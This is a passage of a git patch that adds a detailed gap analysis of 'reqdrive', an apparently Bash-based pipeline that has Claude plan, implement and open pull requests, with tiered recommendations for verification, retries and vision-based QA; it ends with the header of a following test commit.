mergeable PRs overnight" is primarily the verification layer.** The six-stage vision (CLARIFY → SPECIFY → TEST → IMPLEMENT → VERIFY → SHIP) maps cleanly onto what exists: Stages 2 and 4 are implemented, Stage 6 is partially implemented, and Stages 1, 3, and 5 are either prompt-only patterns (skills) or entirely missing. The clarification and PRD skills exist as interactive Claude Code skills but are not wired into the automated pipeline. The verification-workflow skill has good reference material but no automation harness. There is no test-before-implement capability and no retry-on-failure loop. + +--- + +## Inventory + +| Artifact | Path | Purpose | Stage Mapping | Maturity | +|----------|------|---------|---------------|----------| +| CLI entry point | `bin/reqdrive` (531 lines) | Command dispatch, arg parsing, dependency checks | All | Production | +| Error codes | `lib/errors.sh` (62 lines) | Exit codes 0-8 + `die()`/`die_on_error()` | All | Production | +| Config loader | `lib/config.sh` (92 lines) | Manifest discovery (walk-up), env var export | All | Production | +| Schema validator | `lib/schema.sh` (190 lines) | JSON validation for config, PRD, checkpoint | Stage 2, 4 | Production | +| Input sanitizer | `lib/sanitize.sh` (138 lines) | Shell injection prevention, label cleaning | Stage 2, 4 | Production | +| Pre-flight checks | `lib/preflight.sh` (197 lines) | Git state, branch, requirement file validation | Stage 4 | Production | +| Core pipeline | `lib/run.sh` (723 lines) | Planning → implementation loop → PR creation | Stage 2, 4, 6 | Production | +| PR creation | `lib/pr-create.sh` (169 lines) | Push branch, build checklist, create GH PR | Stage 6 | Production | +| Init wizard | `lib/init.sh` (97 lines) | Interactive project setup | Setup | Production | +| Config validator | `lib/validate.sh` (72 lines) | Validate reqdrive.json | Setup | Production | +| PRD skill | `skills/prd/SKILL.md` | Interactive PRD generation with clarifying questions | Stage 1, 2 | Reference | +| Design-to-PRD skill | `skills/design-to-prd/SKILL.md` | Transform design docs into structured PRDs | Stage 1, 2 | Reference | +| Verification skill | `skills/verification-workflow/SKILL.md` | Test generation + static analysis + reporting | Stage 3, 5 | Reference | +| Project detection | `skills/verification-workflow/scripts/detect_project.sh` | Identify project type (Next.js, Expo, Spring Boot) | Stage 5 | Production | +| Server detection | `skills/verification-workflow/scripts/detect_server.sh` | Find running dev server on common ports | Stage 5 | Production | +| Unit test patterns | `skills/verification-workflow/references/unit-test-patterns.md` | Vitest/Jest/React Native test templates | Stage 3 | Reference | +| E2E patterns | `skills/verification-workflow/references/e2e-patterns.md` | Playwright test templates + discovery workflow | Stage 3, 5 | Reference | +| Spring Boot patterns | `skills/verification-workflow/references/spring-boot-patterns.md` | JUnit5/Mockito/TestContainers patterns | Stage 3 | Reference | +| Project journal skill | `skills/project-journal/SKILL.md` | Maintain project docs across sessions | N/A | Reference | +| Test suite | `tests/simple-test.sh` (600+ lines, 135 tests) | Config, schema, sanitization, preflight tests | N/A | Production | +| Config example | `templates/reqdrive.json.example` | Example configuration | Setup | Complete | +| Quick start guide | `docs/QUICKSTART.md` | User-facing setup + usage guide | N/A | Complete | +| Pipeline analysis | `docs/PIPELINE-ANALYSIS.md` | Technical deep-dive with critique | N/A | Complete | +| Marching orders | `docs/MARCHING_ORDERS_2026-02-09.md` | Phased improvement roadmap | N/A | Complete | +| Dev-pipeline skill | *Does not exist* | Was proposed but never built | Stage 1-6 | Missing | +| `reqdrive plan` command | Stub in `bin/reqdrive` | Standalone PRD generation | Stage 2 | Stub | +| `reqdrive orchestrate` command | Stub in `bin/reqdrive` | Multi-requirement sequencing | All | Stub | + +--- + +## Stage-by-Stage Analysis + +### Stage 1: CLARIFY + +**Status: Exists as interactive skill, not wired into pipeline** + +The `skills/prd/SKILL.md` defines a clarification workflow: 3-5 targeted questions with lettered options (e.g., "1A, 2C, 3B"), focusing on problem/goal, core functionality, scope boundaries, and success criteria. The `skills/design-to-prd/SKILL.md` adds a richer five-phase workflow for transforming design documents, including concept extraction, multi-document synthesis, and conflict resolution. + +**What works:** +- The question format (lettered options) is well-designed for fast user iteration +- The PRD skill separates clarification from specification cleanly +- The design-to-prd skill handles diverse input types (wireframes, vision docs, meeting notes) + +**What's missing:** +- Neither skill is callable from the automated pipeline. They're Claude Code interactive skills invoked via `/prd` or `/design-to-prd` — conversation patterns, not functions. +- No structured output format that an orchestrator could consume. The PRD skill saves to `tasks/prd-[name].md` (markdown), while the pipeline expects `.reqdrive/runs//prd.json` (JSON). These are different formats in different locations. +- No programmatic way to determine when clarification is "complete enough" to proceed. The rubric exists in the skill but isn't encoded as machine-checkable criteria. + +**What it would take to make this a callable stage:** +1. A `reqdrive clarify ` command that launches an interactive Claude session using the PRD skill's question framework +2. The session would read the requirement file, ask clarifying questions, and write an enriched requirement back (or a separate `clarified.md`) +3. This is inherently interactive — the user must answer questions — so it can't be fully autonomous. But it could be optional: `reqdrive run` proceeds without it, `reqdrive run --clarify` triggers it first. + +### Stage 2: SPECIFY + +**Status: Implemented in pipeline (planning phase) + standalone skills** + +The pipeline's Phase 1 (planning) implements this stage. `build_planning_prompt()` in `lib/run.sh:168-236` instructs Claude to read the requirement and produce `prd.json` with 3-8 user stories, each with ID, title, description, acceptance criteria, and priority. Schema validation enforces structure. Up to 2 retry attempts handle failed PRD generation. + +**What works:** +- PRD JSON schema is well-defined and validated (`lib/schema.sh:validate_prd_schema`) +- The planning prompt is safely constructed (quoted heredoc `<<'PROMPT_PLAN'`) +- Retry logic prevents single-attempt failures from blocking the pipeline +- The PRD format is machine-parseable — downstream stages consume it via jq + +**What's missing:** +- **No quality rubric for PRDs.** The schema validates structure (fields exist, types correct) but not content quality. A PRD with one story titled "Do everything" and no meaningful acceptance criteria would pass validation. +- **The prd skill's richer output format isn't used.** The interactive PRD skill generates markdown with goals, functional requirements, non-goals, technical considerations, and success metrics. The pipeline's prd.json captures only stories and acceptance criteria — a strict subset. +- **`priority` is not validated.** `lib/schema.sh` validates `id`, `title`, `acceptanceCriteria`, and optionally `passes`, but `priority` (used by `select_next_story` for sorting) is not type-checked. A non-numeric priority would produce undefined sorting behavior. +- **No handoff from Stage 1.** If a user runs the PRD skill interactively, the output (`tasks/prd-[name].md`) isn't in the format or location the pipeline expects. There's no bridge. + +**What would improve this:** +1. Add `priority` to the schema validation (must be a number) +2. Add PRD quality checks: minimum story count, acceptance criteria must be non-empty strings, no duplicate story IDs +3. Consider enriching `prd.json` with fields from the PRD skill (goals, non-goals, technical considerations) — downstream prompts could use them for better context + +### Stage 3: TEST + +**Status: Not implemented. Reference material exists but no automation.** + +The verification-workflow skill has reference patterns for writing tests (Vitest, Jest, Playwright, JUnit5/Mockito), and the SKILL.md describes a "Step 4a: Unit Tests from Requirements" workflow. But this is a Claude Code interactive skill — it requires a human to invoke `/verification-workflow` and a running implementation to test against. + +**Critical gap: Tests are not written before implementation.** The pipeline goes straight from PRD to implementation. There is no stage where tests are generated from acceptance criteria and locked in *before* the implementation agent runs. This means: + +1. The implementation agent writes its own tests (if any), which are definitionally not independent of the implementation +2. There's no objective quality ratchet — the agent decides what "passes" means +3. A lazy or confused agent can mark `passes: true` without tests actually existing or running + +**Assessment of existing test patterns:** +- The unit test patterns (`references/unit-test-patterns.md`) are solid for component-level testing: React Testing Library, hook testing with `renderHook`, API mocking with `vi.fn()`. They include a "requirements mapping" section showing how to convert acceptance criteria text into test code. +- The E2E patterns (`references/e2e-patterns.md`) include a valuable "discovery pattern" for exploring unknown functionality with screenshots, plus a conversion guide for turning E2E observations into unit tests. +- The Spring Boot patterns cover unit (Mockito), integration (`@WebMvcTest`, `@DataJpaTest`), and full integration (`@SpringBootTest` + TestContainers). +- **Integration test gap:** For non-Spring Boot projects, there's no explicit integration test pattern. The gap between unit tests (isolated) and E2E tests (browser-based) is meaningful for API-heavy features. + +**Can tests be generated from requirements without an implementation?** +Partially. Acceptance criteria like "Button shows confirmation dialog before deleting" can become E2E test stubs (navigate to page, find button, click, assert dialog appears). But for unit tests, you need to know the module structure — you can't write `import { useAuth } from './hooks/useAuth'` without knowing the implementation will create that file at that path. + +**Realistic approach:** Generate E2E test skeletons and behavioral contract tests from acceptance criteria. These test *what* should happen, not *how* — they're implementation-independent. Unit tests should be generated after implementation (Stage 5) as a verification step, not as a pre-implementation gate. + +### Stage 4: IMPLEMENT + +**Status: Implemented and mature** + +This is the strongest part of the pipeline. `lib/run.sh:618-684` implements the implementation loop with: +- Deterministic story selection via jq (`select_next_story`, line 332) +- Per-story prompt construction with sanitized PRD fields (lines 240-325) +- One Claude invocation per story with 30-minute timeout +- Checkpoint after each iteration for resumability +- Completion detection via jq (primary) and output grep (secondary) + +**What works well:** +- Shell-controlled story ordering prevents agent cherry-picking +- Stateless invocations (fresh Claude session per story) prevent context window exhaustion +- Checkpoint/resume handles crashes and rate limits gracefully +- Signal traps (INT, TERM, HUP) mark interrupted runs properly + +**What's missing:** +- **No worktree management.** All implementation happens on a single branch in the main working tree. The `archive/` directory suggests worktree support was explored in v0.1.x and removed during simplification. This prevents concurrent runs. +- **No commit verification.** After each Claude invocation, the pipeline doesn't check if a commit actually happened. It saves the checkpoint and moves on regardless. +- **No scope verification.** The pipeline doesn't diff what files changed to verify they're reasonable for the target story. +- **The implementation prompt has a known heredoc expansion issue** (documented in `docs/PIPELINE-ANALYSIS.md:210-227`). While PRD-derived fields are now sanitized (`lib/run.sh:254-257`), the sanitization was added as a fix — the underlying pattern (unquoted heredoc for variable expansion) remains fragile. A quoted heredoc with explicit variable injection (e.g., `sed` or `envsubst`) would be structurally safer. +- **No retry on story failure.** If the agent fails to implement a story, the pipeline moves to the next iteration and picks the same story again (because `passes` is still `false`). This is actually reasonable behavior — the next attempt gets fresh context. But there's no retry limit per story, so a permanently-failing story can consume all remaining iterations. + +### Stage 5: VERIFY + +**Status: Not implemented. Conceptual only.** + +The pipeline has zero post-implementation verification. After each Claude invocation: +1. The raw output is saved to `iteration-N.log` +2. The iteration summary is extracted (agent's self-report) +3. The checkpoint is saved +4. The PRD schema is re-validated (warn-only) +5. That's it. No tests run, no commit check, no diff analysis. + +The `testCommand` config field is auto-detected in `lib/init.sh` and stored in config, but `lib/run.sh` never reads or executes it. This is the most significant wasted asset in the codebase. + +**Can the verification skill run autonomously and produce machine-parseable output?** +No. The verification-workflow SKILL.md describes a 6-step workflow but is designed for interactive Claude sessions, not programmatic invocation. It doesn't produce a machine-parseable result — it generates a markdown report with emoji checkmarks. The scripts (`detect_project.sh`, `detect_server.sh`) are automatable, but the test generation and analysis steps require Claude's judgment. + +**What about the retry loop?** +It does not exist. The marching orders document (`docs/MARCHING_ORDERS_2026-02-09.md`) describes an "observe before enforce" approach: start with logged warnings (commit check, test run, scope check), graduate to checkpoint annotations, then promote to hard gates. This is sound advice that hasn't been acted on yet. + +**The gap between "all tests pass" and "the feature actually works":** +This is the user's core concern, and it's a real one. Even with a robust test suite, bugs slip through because: +- Tests verify the implementation against itself (the agent wrote both) +- E2E tests can assert HTTP 200 without verifying the actual rendered content +- Visual/layout bugs are invisible to assertion-based testing +- Multi-step user flows may work step-by-step but fail in sequence (state management bugs) +- The agent may "pass" tests by weakening assertions or skipping edge cases + +### Stage 6: SHIP + +**Status: Partially implemented (PR creation). No feedback loop.** + +`lib/pr-create.sh` handles: +- `git push -u origin $branch` +- Building a validation checklist from PRD acceptance criteria +- Creating a GitHub PR via `gh pr create` with structured body +- Retry without labels on failure (handles missing label edge case) +- Draft PR if stories are incomplete + +**What works:** +- The validation checklist is directly derived from acceptance criteria — reviewers see exactly what to check +- The commit log is included for quick overview +- Draft PR support is graceful degradation + +**What's missing:** +- **No CI status check.** The pipeline creates the PR and exits. It doesn't wait for CI, report results, or react to failures. +- **No feedback loop.** If a reviewer rejects the PR, there's no mechanism to feed rejection reasons back into the pipeline. The user would need to manually write new requirements and re-run. +- **No link to verification report.** When a verification step is eventually added, its results should be included in the PR body. +- **Validation instructions are human-only.** The checklist is checkbox markdown — useful for manual review but not for automated verification. + +--- + +## Architecture Assessment + +### Orchestration + +**Current state:** The orchestrator is `lib/run.sh:run_pipeline()` — a linear function that executes planning, implementation loop, and PR creation sequentially. It works well for single-requirement, foreground runs. + +**What's needed for overnight autonomous operation:** + +The current architecture is actually close to sufficient for Tier 1 autonomous runs. The `launch` command already handles detached execution with `nohup`. The completion hook provides extensibility for notifications. What's missing is the verify-retry loop between implementation and PR creation. + +**Recommended orchestrator evolution:** +1. **Keep Bash for the CLI and pipeline orchestration.** The current shell architecture is a strength — it's portable, has no runtime dependencies beyond bash/jq/git/gh, and the user runs it on both Windows/MSYS2 and Linux VPS. Rewriting in Node/Python would add dependency management overhead with no clear benefit. +2. **Add a `verify` phase between implementation and PR creation** in `run.sh`. This is a natural extension: after the implementation loop, run the test command, check results, optionally retry. +3. **Add `reqdrive plan` as a standalone PRD generator** (currently stubbed). This separates the expensive planning step from implementation, allowing user review of the PRD before committing to implementation. + +### Artifact Flow + +``` +User-authored: + docs/requirements/REQ-XX-name.md → run.sh (sanitized, embedded in prompts) + reqdrive.json → config.sh (parsed, exported as env vars) + +Pipeline-generated: + .reqdrive/runs//prd.json ← Claude (planning phase) + → run.sh (story selection, implementation prompts) + → pr-create.sh (validation checklist) + + .reqdrive/runs//checkpoint.json ← run.sh (after each iteration) + → run.sh (on --resume) + + .reqdrive/runs//run.json ← run.sh (status tracking) + → bin/reqdrive status (display) + + .reqdrive/runs//progress.txt ← run.sh (init), Claude (append) + → Claude (context for next iteration) +``` + +**Format consistency:** Good. JSON for machine-parseable state (prd.json, checkpoint.json, run.json, iteration summaries). Markdown for human-readable context (progress.txt, prompts). Clear separation. + +**Contracts:** The PRD JSON schema (`lib/schema.sh:validate_prd_schema`) is the main contract between planning and implementation. It's validated but could be stricter (missing `priority` type check, no story count bounds, no acceptance criteria content validation). + +### State Management + +The flat-file approach (JSON files in `.reqdrive/runs//`) is appropriate for this use case: +- Each requirement gets its own directory (per-requirement isolation since v0.3.0) +- `run.json` tracks lifecycle with PID for liveness checking +- `checkpoint.json` enables resume at the right iteration +- Iteration logs provide full audit trail + +**Gap: No commit SHA tracking.** Checkpoints record iteration number and completed stories but not git commit SHAs. If the repository state diverges from checkpoint state (manual intervention, failed push, etc.), resume will proceed from a potentially inconsistent state. Adding `last_commit_sha` to checkpoint.json would close this. + +**Gap: No file locking.** Two concurrent `reqdrive run` commands targeting the same REQ-ID would race on shared files. The PID check in `launch` prevents double-launching, but there's no lock on the run directory itself. + +### Parallelism + +**Current state:** None. The `archive/` directory suggests worktree-based parallelism was explored in v0.1.x and removed during simplification. The per-requirement run directory structure (`runs//`) is designed to support concurrent runs for different requirements, but the implementation operates on the main working tree, so only one requirement can run at a time. + +**What would be needed:** +1. Git worktrees for branch isolation (`git worktree add`) +2. Working directory management (each Claude invocation runs in its worktree) +3. Merge conflict detection when worktrees are merged back +4. The `orchestrate` command (currently stubbed) would manage this + +### Error Handling + +Error handling is comprehensive for anticipated failures: +- 9 semantic exit codes with human-readable messages +- Signal traps for clean interrupt handling +- Completion hook fires on both success and failure +- PR creation retries without labels on first failure +- Planning retries up to 2 times on PRD generation failure +- Schema validation is warn-only in most contexts (doesn't block progress) + +**Gap: No story-level retry limit.** A permanently-failing story will be selected every iteration until `maxIterations` is exhausted. Adding a per-story attempt counter (tracked in prd.json or checkpoint.json) with a max retry count would prevent this. + +**Gap: No rollback.** If the agent makes bad commits, the only recovery is manual `git reset`. The marching orders document correctly advises deferring rollback until the observation layer provides data on failure patterns. + +### Configurability + +Good. The config schema supports different stacks via `testCommand` (auto-detected for Node, Python, Rust, Go), `model` (any Claude model), and `maxIterations`. All fields have sensible defaults — an empty `{}` config works. + +**Gap:** The verification-workflow skill supports specific stacks (React/Next.js, Expo, Spring Boot) but the pipeline config doesn't have a `projectType` field. Adding one would let the pipeline invoke stack-specific verification automatically. + +--- + +## The QA Gap (Deep Dive) + +### Categories of Bugs That Slip Through Tests + +| Category | Example | Agent-Written Tests Catch It? | Why Not | +|----------|---------|-------------------------------|---------| +| Visual/layout bugs | Button overlaps form field at mobile breakpoint | No | Tests assert DOM presence, not visual position | +| Wrong data displayed | Dashboard shows stale cached data after update | Unlikely | Agent tests the happy path with fresh data | +| Race conditions | Double-submit creates duplicate records | No | Agent tests sequential flows, not concurrent ones | +| Broken flows returning 200 | Login succeeds but redirects to wrong page | Unlikely | Agent tests login success, not post-login destination | +| Edge cases in real data | Unicode characters in username break layout | No | Agent uses `testUser123`, not `José García 🇲🇽` | +| Accessibility violations | Missing ARIA labels, broken tab order | No | Agent doesn't test accessibility unless explicitly required | +| Performance degradation | List view takes 8s with 10k records | No | Agent tests with 3 items | +| State management bugs | Back button shows inconsistent state | No | Agent tests forward flows, not navigation patterns | +| Integration seam failures | API returns different shape than frontend expects | Possibly | If agent tests both sides, yes; often only tests one | + +### What Vision-Based QA Would Catch + +**High confidence (Playwright + Claude vision would reliably catch):** +- Visual/layout bugs — Claude can see overlapping elements, broken layouts, missing content +- Wrong data displayed — Claude can read screen text and compare against expected values +- Broken flows returning 200 — Claude can follow the flow visually and notice wrong destinations +- State management bugs in multi-step flows — Claude can navigate sequences and notice inconsistencies + +**Medium confidence (would sometimes catch):** +- Accessibility violations — Claude can identify missing labels, low contrast, small touch targets visually, but can't test screen reader behavior or keyboard navigation +- Edge cases in real data — Only if the test scenarios include edge case data. Claude would notice visual breakage but can't generate edge cases autonomously. + +**Low confidence (unlikely to catch):** +- Race conditions — Timing-dependent, hard to reproduce visually +- Performance degradation — Claude can notice slow loading (via screenshot timing) but can't measure precise thresholds +- Integration seam failures — May manifest visually (error messages, empty states) but root cause identification requires code-level analysis + +### Architecture for the Vision-Based QA Agent + +``` +┌─────────────────────────────────────────────────┐ +│ QA Orchestrator │ +│ (Shell script, similar to run.sh) │ +├─────────────────────────────────────────────────┤ +│ │ +│ Inputs: │ +│ - prd.json (acceptance criteria per story) │ +│ - Implementation branch (deployed/running) │ +│ - testCommand results (pass/fail) │ +│ │ +│ For each user story in prd.json: │ +│ 1. Generate test scenario from AC │ +│ 2. Execute scenario via Playwright │ +│ 3. Capture screenshots at each step │ +│ 4. Send screenshots + AC to Claude Vision │ +│ 5. Claude evaluates: does screenshot │ +│ satisfy the acceptance criterion? │ +│ 6. Collect results into verification report │ +│ │ +│ Output: │ +│ - verification-report.json │ +│ - screenshots/ directory │ +│ - Pass/fail per story, per criterion │ +│ │ +└─────────────────────────────────────────────────┘ +``` + +**Control flow detail:** + +1. **Scenario generation** (Claude text, not vision): + - Input: acceptance criterion text, e.g., "Filter dropdown with options: All | High | Medium | Low" + - Output: Playwright script steps: `goto('/tasks')`, `click('[data-testid=priority-filter]')`, `screenshot('filter-open.png')`, `click('High')`, `screenshot('filter-applied.png')` + +2. **Scenario execution** (Playwright, no Claude): + - Run the generated Playwright script against the dev server + - Capture screenshots at each designated step + - Log any Playwright errors (element not found, timeout, etc.) + +3. **Visual evaluation** (Claude Vision API): + - For each screenshot + criterion pair, send to Claude with prompt: "Does this screenshot show [criterion]? Respond with PASS, FAIL, or UNCLEAR with explanation." + - Aggregate results per story + +4. **Reporting:** + ```json + { + "storyId": "US-002", + "status": "fail", + "criteria": [ + { + "criterion": "Each task card shows colored priority badge", + "status": "pass", + "screenshot": "screenshots/us002-badges.png", + "notes": "Red, yellow, and gray badges visible on task cards" + }, + { + "criterion": "Priority visible without hovering or clicking", + "status": "fail", + "screenshot": "screenshots/us002-visibility.png", + "notes": "Badge only appears on hover, not visible by default" + } + ] + } + ``` + +5. **Integration with retry loop:** + - If verification fails, feed the failure report back into a new implementation prompt + - "Story US-002 failed verification. Issue: Priority badge only appears on hover. Fix: Make badge always visible. See screenshot at screenshots/us002-visibility.png." + - Importantly, spin up a *new* Claude session (stateless) with the failure context, not a continuation + +### Feasibility and Risks + +**Feasible today:** +- Playwright browser control is mature and reliable +- Claude Vision API can evaluate screenshots against natural-language criteria +- The prd.json format provides structured acceptance criteria to drive test generation +- The overall architecture (generate scenario → execute → evaluate) is straightforward + +**Risks and failure modes:** +1. **False positives** — Claude Vision may flag correct implementations as failures due to subjective visual interpretation. Mitigation: require FAIL + explanation, allow "UNCLEAR" as a non-blocking result. +2. **False negatives** — Claude Vision may approve broken implementations that look superficially correct. Mitigation: use multiple screenshots from different states (hover, click, type). +3. **Flaky browser state** — Dev servers may have inconsistent state between runs. Mitigation: seed database, clear caches, use deterministic test data. +4. **Scenario generation quality** — Claude may generate Playwright scripts that don't accurately test the criterion. Mitigation: use simple, well-structured acceptance criteria; provide Playwright pattern examples. +5. **Cost** — Vision API calls per screenshot per criterion could be expensive for many stories. Mitigation: batch screenshots, use haiku for simple pass/fail evaluations. +6. **Non-visual criteria** — Some acceptance criteria ("Typecheck passes") can't be evaluated visually. Mitigation: classify criteria as visual vs. programmatic and route accordingly. + +**Minimum viable version:** +1. For each story marked `passes: true` in prd.json, run the `testCommand` +2. If tests fail, report which tests and mark the story for retry +3. Save test output to `iteration-N.test-results.txt` +4. This requires zero new infrastructure — just execute the existing `testCommand` config value + +### Relationship to Existing Tests + +Vision-based QA should **complement** assertion-based tests, not replace them: + +``` +Layer 1: Static analysis (tsc, eslint) — catches type errors, lint issues +Layer 2: Unit tests (vitest/jest) — catches logic errors in isolation +Layer 3: Integration tests (API, database) — catches seam failures +Layer 4: E2E assertion tests (Playwright asserts) — catches flow breakage +Layer 5: Vision-based QA (Playwright + Claude) — catches visual/UX issues +``` + +Each layer catches bugs the previous layers miss. Vision-based QA is the final gate after all programmatic tests pass. It answers: "Tests say it works, but does it actually look right?" + +--- + +## Critical Issues (Must Fix Before Overnight Runs) + +1. **`testCommand` is never executed by the shell.** The pipeline trusts the agent's self-report that tests pass. Wire up `testCommand` execution after each implementation iteration, even if initially warn-only. (`lib/run.sh`, after line 662) + +2. **No commit verification after implementation iterations.** The pipeline doesn't check if a commit actually happened. Add `git log --oneline -1` check after each Claude invocation. If the most recent commit doesn't match the expected `feat: [US-XXX]` pattern, log a warning. (`lib/run.sh`, after line 662) + +3. **No per-story retry limit.** A permanently-failing story consumes all remaining iterations. Add an attempt counter per story (in checkpoint.json or a map in prd.json) and skip stories that have failed N times. (`lib/run.sh:select_next_story`, `save_checkpoint`) + +4. **`priority` field not schema-validated.** `select_next_story` sorts by priority, but `validate_prd_schema` doesn't check that priority is a number. A non-numeric priority produces undefined sort behavior. (`lib/schema.sh:validate_prd_schema`) + +5. **Checkpoint doesn't track commit SHA.** Resume can proceed from inconsistent git state. Add `last_commit_sha` from `git rev-parse HEAD` to checkpoint.json and verify it on resume. (`lib/run.sh:save_checkpoint`, `load_checkpoint`) + +--- + +## Tier 1 Recommendations (Build Now) + +*Goal: `reqdrive launch REQ-01` produces a mergeable PR overnight, even if imperfectly.* + +**1. Wire up `testCommand` execution (effort: 1-2 hours)** + +After line 662 in `lib/run.sh` (after `extract_iteration_summary`), add: + +```bash +if [ -n "${REQDRIVE_TEST_COMMAND:-}" ]; then + log_info "Running test command: $REQDRIVE_TEST_COMMAND" + if ! eval "$REQDRIVE_TEST_COMMAND" > "$agent_dir/iteration-$i.test.log" 2>&1; then + log_warn "Tests failed after iteration $i (see iteration-$i.test.log)" + fi +fi +``` + +Start warn-only. Promote to a hard gate after observing failure rates. + +**2. Add post-iteration commit check (effort: 1 hour)** + +After each Claude invocation, verify a commit happened: + +```bash +local latest_commit +latest_commit=$(git log --oneline -1 --format='%s') +if [[ "$latest_commit" != feat:\ \[${next_story}\]* ]]; then + log_warn "Expected commit for $next_story, latest commit is: $latest_commit" +fi +``` + +**3. Add `priority` schema validation (effort: 30 minutes)** + +In `validate_prd_schema`, add a check that `priority` is a number for each story. + +**4. Add per-story retry limit (effort: 1-2 hours)** + +Track attempt count per story in the prd.json (add `attempts` field) or in the checkpoint. After 3 failed attempts at a story, skip it and move to the next priority. + +**5. Add commit SHA to checkpoint (effort: 30 minutes)** + +Record `git rev-parse HEAD` in checkpoint.json. On resume, verify the current HEAD matches. If not, warn (don't abort — the user may have intentionally amended). + +**6. Implement `reqdrive plan` command (effort: 2-3 hours)** + +Unwire Phase 1 into a standalone command: `reqdrive plan REQ-01` runs only the planning phase and exits. This lets users review the PRD before committing to implementation: + +``` +reqdrive plan REQ-01 # generates prd.json, exits +# User reviews prd.json, edits if needed +reqdrive run REQ-01 # detects existing prd.json, skips to implementation +``` + +--- + +## Tier 2 Recommendations (Build Next) + +*Goal: The pipeline is trustworthy enough that you'd merge most PRs without extensive review.* + +**1. Add a `verify` phase between implementation and PR creation (effort: 4-6 hours)** + +After the implementation loop completes and before PR creation, add a verification phase: +- Run `testCommand` (full test suite, not just the story's tests) +- Run static analysis (`tsc --noEmit`, `eslint`, etc.) if project type is detected +- Generate a verification report (JSON) with test results, lint results, and story status +- Include the verification report in the PR body +- If critical failures: retry the last story, or mark PR as draft with failure notes + +**2. Build the scope check (effort: 2-3 hours)** + +After each implementation iteration, run `git diff --name-only HEAD~1` and log the changed files. Compare against a reasonable heuristic (e.g., files in `src/` are expected, files in `lib/` or config files may indicate scope creep). Start as logged observations. + +**3. Enrich the PR body with verification data (effort: 2-3 hours)** + +The current PR body has a human-operated validation checklist. Add: +- Test results section (test count, pass/fail, last run timestamp) +- Static analysis section (type errors, lint warnings) +- Story completion summary (which stories passed, which were skipped) +- Iteration log summary (how many iterations, any retries, any warnings) + +**4. Add `reqdrive verify` command (effort: 4-6 hours)** + +Standalone verification: `reqdrive verify REQ-01` runs the test suite, static analysis, and (optionally) E2E tests against the implementation branch. Produces a verification report. This could reuse the verification-workflow skill's detection scripts. + +**5. Add per-story scope tracking to prd.json (effort: 2-3 hours)** + +Extend prd.json stories with an optional `expectedFiles` or `scope` field that the planning phase generates. The implementation phase can then verify that the agent's changes are within scope. + +**6. Heredoc structural fix (effort: 1-2 hours)** + +Replace the unquoted heredoc in `build_implementation_prompt` with a quoted heredoc + explicit `sed` replacements for story variables. This eliminates the entire class of shell expansion bugs regardless of sanitization quality. + +--- + +## Tier 3 Recommendations (Build Eventually) + +*Goal: Full autonomous QA agent, multi-feature parallelism, self-improving pipeline.* + +**1. Vision-based QA agent (Playwright-as-hands, Claude-as-eyes)** +Generate Playwright test scenarios from acceptance criteria, execute them, capture screenshots, evaluate with Claude Vision API. See "Architecture for the QA Agent" section above for detailed design. + +**2. Multi-requirement parallelism via git worktrees** +Implement `reqdrive orchestrate` to run multiple requirements concurrently, each in its own worktree. Requires: worktree management, merge conflict detection, dependency ordering between requirements. + +**3. Feedback loop from PR rejection** +When a PR is rejected (detected via `gh pr view --json state`), parse reviewer comments, generate a "fix requirements" document, and re-run the implementation phase targeting specific stories. + +**4. Self-improving test suites** +After a bug is found manually that the pipeline missed, generate a regression test and add it to the project's test suite. Track which bugs escaped, categorize them, and adjust test generation strategies. + +**5. Adaptive retry policies** +Track failure rates per story type, per project, and per model. Adjust `maxIterations`, retry limits, and model selection based on historical success rates. + +**6. CI integration** +After PR creation, poll CI status via `gh pr checks`. If CI fails, parse the failure, create a fix iteration, push, and wait for CI again. Exit after N CI cycles. + +**7. Cost tracking and budgets** +Track token usage per iteration (parse Claude billing info or estimate from output length). Set cost budgets per requirement. Alert when approaching budget limits. + +--- + +## Suggested reqdrive CLI Design + +### Proposed Commands (Evolution) + +``` +reqdrive init # Interactive setup (exists) +reqdrive validate # Validate config (exists) +reqdrive plan # Generate PRD only (Tier 1, currently stubbed) +reqdrive run # Full pipeline (exists) + --interactive # Require permission prompts (default) + --unsafe # Skip permission prompts + --force # Skip preflight checks + --resume # Resume from checkpoint + --verify # NEW: Run verification after implementation + --no-pr # NEW: Stop after implementation, don't create PR +reqdrive verify # Standalone verification (Tier 2) +reqdrive launch # Background run (exists) +reqdrive status [REQ-ID] # Show run status (exists) +reqdrive logs # Tail background output (exists) +reqdrive migrate # Schema migration (exists) +reqdrive orchestrate # Multi-requirement sequencing (Tier 3) +``` + +### Directory Structure (No Change Needed) + +The current structure is well-designed: + +``` +project-root/ +├── reqdrive.json # Configuration +├── docs/requirements/ +│ └── REQ-01-feature-name.md # Requirement documents +├── .reqdrive/ +│ └── runs/ +│ └── req-01/ # Per-requirement isolation +│ ├── run.json # Lifecycle status +│ ├── prd.json # Generated PRD +│ ├── checkpoint.json # Resume state +│ ├── progress.txt # Agent progress log +│ ├── prompt.md # Current prompt +│ ├── iteration-N.log # Raw agent output +│ ├── iteration-N.summary.json # Structured summary +│ ├── iteration-N.test.log # NEW: Test results per iteration +│ ├── verification-report.json # NEW: Tier 2 verification report +│ ├── output.log # Background run stdout/stderr +│ └── screenshots/ # NEW: Tier 3 visual QA captures +``` + +### Config Format (Minimal Extension) + +```json +{ + "version": "0.3.0", + "requirementsDir": "docs/requirements", + "testCommand": "npm test", + "model": "claude-sonnet-4-20250514", + "maxIterations": 10, + "baseBranch": "main", + "prLabels": ["agent-generated"], + "projectName": "My Project", + "completionHook": "", + "maxStoryRetries": 3, + "verifyAfterImplementation": false, + "projectType": "nextjs" +} +``` + +New fields (all optional with defaults): +- `maxStoryRetries` (default: 3) — max attempts per story before skipping +- `verifyAfterImplementation` (default: false) — run testCommand after each iteration +- `projectType` (default: auto-detect) — used by verification for stack-specific checks From bb708936fc4bfc384f0ee63e6267604895b8e5e6 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 20:54:40 -0600 Subject: [PATCH 32/47] test: automate the launch lifecycle plan MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Cases 2/5/7/8 (status of a finished run, exit-code reporting, completion hook env, re-launch) assert on run.json state transitions and join the main suite as US-LAUNCH-01..04. Cases 1/4/6 (detached launch, duplicate block, crash detection) need real background processes and PID liveness — unreliable under MSYS2 per CLAUDE.md — so they run in a new Linux-only tests/launch-lifecycle.sh CI job rather than a lock exemption. Case 3 (logs) asserts process behavior. LAUNCH-TEST-PLAN.md becomes a pointer to the automated coverage. --- .github/workflows/ci.yml | 10 ++- docs/LAUNCH-TEST-PLAN.md | 